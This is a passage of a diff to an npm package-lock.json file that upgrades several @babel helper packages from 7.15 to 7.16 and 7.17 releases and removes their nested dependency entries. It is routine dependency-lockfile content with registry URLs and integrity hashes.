"https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", - "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", - "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/highlight": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", - "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.5", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "@babel/parser": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", - "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", - "dev": true - }, - "@babel/template": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", - "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/traverse": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", - "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/generator": "^7.15.4", - "@babel/helper-function-name": "^7.15.4", - "@babel/helper-hoist-variables": "^7.15.4", - "@babel/helper-split-export-declaration": "^7.15.4", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4", - "debug": "^4.1.0", - "globals": "^11.1.0" - } - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/helper-environment-visitor": "^7.16.7", + "@babel/helper-module-imports": "^7.16.7", + "@babel/helper-simple-access": "^7.17.7", + "@babel/helper-split-export-declaration": "^7.16.7", + "@babel/helper-validator-identifier": "^7.16.7", + "@babel/template": "^7.16.7", + "@babel/traverse": "^7.17.3", + "@babel/types": "^7.17.0" } }, "@babel/helper-optimise-call-expression": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.15.4.tgz", - "integrity": "sha512-E/z9rfbAOt1vDW1DR7k4SzhzotVV5+qMciWV6LaG1g4jeFrkDlJedjtV4h0i4Q/ITnUu+Pk08M7fczsB9GXBDw==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.16.7.tgz", + "integrity": "sha512-EtgBhg7rd/JcnpZFXpBy0ze1YRfdm7BnBX4uKMBd3ixa3RGAE002JZB66FJyNH7g0F38U05pXmA5P8cBh7z+1w==", "dev": true, "requires": { - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/types": "^7.16.7" } }, "@babel/helper-plugin-utils": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.14.5.tgz", - "integrity": "sha512-/37qQCE3K0vvZKwoK4XU/irIJQdIfCJuhU5eKnNxpFDsOkgFaUAwbv+RYw6eYgsC0E4hS7r5KqGULUogqui0fQ==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.16.7.tgz", + "integrity": "sha512-Qg3Nk7ZxpgMrsox6HreY1ZNKdBq7K72tDSliA6dCl5f007jR4ne8iD5UzuNnCJH2xBf2BEEVGr+/OL6Gdp7RxA==", "dev": true }, "@babel/helper-remap-async-to-generator": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.15.4.tgz", - "integrity": "sha512-v53MxgvMK/HCwckJ1bZrq6dNKlmwlyRNYM6ypaRTdXWGOE2c1/SCa6dL/HimhPulGhZKw9W0QhREM583F/t0vQ==", + "version": "7.16.8", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.16.8.tgz", + "integrity": "sha512-fm0gH7Flb8H51LqJHy3HJ3wnE1+qtYR2A99K06ahwrawLdOFsCEWjZOrYricXJHoPSudNKxrMBUPEIPxiIIvBw==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.15.4", - "@babel/helper-wrap-function": "^7.15.4", - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-wrap-function": "^7.16.8", + "@babel/types": "^7.16.8" } }, "@babel/helper-replace-supers": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.15.4.tgz", - "integrity": "sha512-/ztT6khaXF37MS47fufrKvIsiQkx1LBRvSJNzRqmbyeZnTwU9qBxXYLaaT/6KaxfKhjs2Wy8kG8ZdsFUuWBjzw==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.16.7.tgz", + "integrity": "sha512-y9vsWilTNaVnVh6xiJfABzsNpgDPKev9HnAgz6Gb1p6UUwf9NepdlsV7VXGCftJM+jqD5f7JIEubcpLjZj5dBw==", "dev": true, "requires": { - "@babel/helper-member-expression-to-functions": "^7.15.4", - "@babel/helper-optimise-call-expression": "^7.15.4", - "@babel/traverse": "^7.15.4", - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/code-frame": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", - "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", - "dev": true, - "requires": { - "@babel/highlight": "^7.14.5" - } - }, - "@babel/generator": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", - "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", - "dev": true, - "requires": { - "@babel/types": "^7.15.6", - "jsesc": "^2.5.1", - "source-map": "^0.5.0" - } - }, - "@babel/helper-function-name": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", - "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.15.4", - "@babel/template": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-get-function-arity": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", - "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", - "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/highlight": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", - "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.5", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "@babel/parser": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", - "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", - "dev": true - }, - "@babel/template": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", - "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/traverse": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", - "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/generator": "^7.15.4", - "@babel/helper-function-name": "^7.15.4", - "@babel/helper-hoist-variables": "^7.15.4", - "@babel/helper-split-export-declaration": "^7.15.4", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4", - "debug": "^4.1.0", - "globals": "^11.1.0" - } - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/helper-environment-visitor": "^7.16.7", + "@babel/helper-member-expression-to-functions": "^7.16.7", + "@babel/helper-optimise-call-expression": "^7.16.7", + "@babel/traverse": "^7.16.7", + "@babel/types": "^7.16.7" } }, "@babel/helper-simple-access": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.15.4.tgz", - "integrity": "sha512-UzazrDoIVOZZcTeHHEPYrr1MvTR/K+wgLg6MY6e1CJyaRhbibftF6fR2KU2sFRtI/nERUZR9fBd6aKgBlIBaPg==", + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.17.7.tgz", + "integrity": "sha512-txyMCGroZ96i+Pxr3Je3lzEJjqwaRC9buMUgtomcrLe5Nd0+fk1h0LLA+ixUF5OW7AhHuQ7Es1WcQJZmZsz2XA==", "dev": true, "requires": { - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/types": "^7.17.0" } }, "@babel/helper-skip-transparent-expression-wrappers": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.15.4.tgz", - "integrity": "sha512-BMRLsdh+D1/aap19TycS4eD1qELGrCBJwzaY9IE8LrpJtJb+H7rQkPIdsfgnMtLBA6DJls7X9z93Z4U8h7xw0A==", + "version": "7.16.0", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.16.0.tgz", + "integrity": "sha512-+il1gTy0oHwUsBQZyJvukbB4vPMdcYBrFHa0Uc4AizLxbq6BOYC51Rv4tWocX9BLBDLZ4kc6qUFpQ6HRgL+3zw==", "dev": true, "requires": { - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/types": "^7.16.0" } }, "@babel/helper-split-export-declaration": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.8.3.tgz", - "integrity": "sha512-3x3yOeyBhW851hroze7ElzdkeRXQYQbFIb7gLK1WQYsw2GWDay5gAJNw1sWJ0VFP6z5J1whqeXH/WCdCjZv6dA==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.16.7.tgz", + "integrity": "sha512-xbWoy/PFoxSWazIToT9Sif+jJTlrMcndIsaOKvTA6u7QEo7ilkRZpjew18/W3c7nm8fXdUDXh02VXTbZ0pGDNw==", "dev": true, "requires": { - "@babel/types": "^7.8.3" + "@babel/types": "^7.16.7" } }, "@babel/helper-validator-identifier": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.9.5.tgz", - "integrity": "sha512-/8arLKUFq882w4tWGj9JYzRpAlZgiWUJ+dtteNTDqrRBz9Iguck9Rn3ykuBDoUwh2TO4tSAJlrxDUOXWklJe4g==" + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.16.7.tgz", + "integrity": "sha512-hsEnFemeiW4D08A5gUAZxLBTXpZ39P+a+DGDsHw1yxqyQ/jzFEnxf5uTEGp+3bzAbNOxU1paTgYS4ECU/IgfDw==" }, "@babel/helper-validator-option": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.14.5.tgz", - "integrity": "sha512-OX8D5eeX4XwcroVW45NMvoYaIuFI+GQpA2a8Gi+X/U/cDUIRsV37qQfF905F0htTRCREQIB4KqPeaveRJUl3Ow==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.16.7.tgz", + "integrity": "sha512-TRtenOuRUVo9oIQGPC5G9DgK4743cdxvtOw0weQNpZXaS16SCBi5MNjZF8vba3ETURjZpTbVn7Vvcf2eAwFozQ==", "dev": true }, "@babel/helper-wrap-function": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.15.4.tgz", - "integrity": "sha512-Y2o+H/hRV5W8QhIfTpRIBwl57y8PrZt6JM3V8FOo5qarjshHItyH5lXlpMfBfmBefOqSCpKZs/6Dxqp0E/U+uw==", + "version": "7.16.8", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.16.8.tgz", + "integrity": "sha512-8RpyRVIAW1RcDDGTA+GpPAwV22wXCfKOoM9bet6TLkGIFTkRQSkH1nMQ5Yet4MpoXe1ZwHPVtNasc2w0uZMqnw==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.15.4", - "@babel/template": "^7.15.4", - "@babel/traverse": "^7.15.4", - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/code-frame": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", - "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", - "dev": true, - "requires": { - "@babel/highlight": "^7.14.5" - } - }, - "@babel/generator": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", - "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", - "dev": true, - "requires": { - "@babel/types": "^7.15.6", - "jsesc": "^2.5.1", - "source-map": "^0.5.0" - } - }, - "@babel/helper-function-name": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", - "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.15.4", - "@babel/template": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-get-function-arity": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", - "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", - "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/highlight": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", - "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.5", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "@babel/parser": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", - "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", - "dev": true - }, - "@babel/template": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", - "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/traverse": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", - "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/generator": "^7.15.4", - "@babel/helper-function-name": "^7.15.4", - "@babel/helper-hoist-variables": "^7.15.4", - "@babel/helper-split-export-declaration": "^7.15.4", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4", - "debug": "^4.1.0", - "globals": "^11.1.0" - } - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/helper-function-name": "^7.16.7", + "@babel/template": "^7.16.7", + "@babel/traverse": "^7.16.8", + "@babel/types": "^7.16.8" } }, "@babel/helpers": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.15.4.tgz", - "integrity": "sha512-V45u6dqEJ3w2rlryYYXf6i9rQ5YMNu4FLS6ngs8ikblhu2VdR1AqAd6aJjBzmf2Qzh6KOLqKHxEN9+TFbAkAVQ==", + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.17.8.tgz", + "integrity": "sha512-QcL86FGxpfSJwGtAvv4iG93UL6bmqBdmoVY0CMCU2g+oD2ezQse3PT5Pa+jiD6LJndBQi0EDlpzOWNlLuhz5gw==", "dev": true, "requires": { - "@babel/template": "^7.15.4", - "@babel/traverse": "^7.15.4", - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/code-frame": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", - "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", - "dev": true, - "requires": { - "@babel/highlight": "^7.14.5" - } - }, - "@babel/generator": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", - "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", - "dev": true, - "requires": { - "@babel/types": "^7.15.6", - "jsesc": "^2.5.1", - "source-map": "^0.5.0" - } - }, - "@babel/helper-function-name": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", - "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.15.4", - "@babel/template": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-get-function-arity": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", - "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", - "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/highlight": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", - "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.5", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "@babel/parser": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", - "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", - "dev": true - }, - "@babel/template": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", - "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/traverse": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", - "integrity": 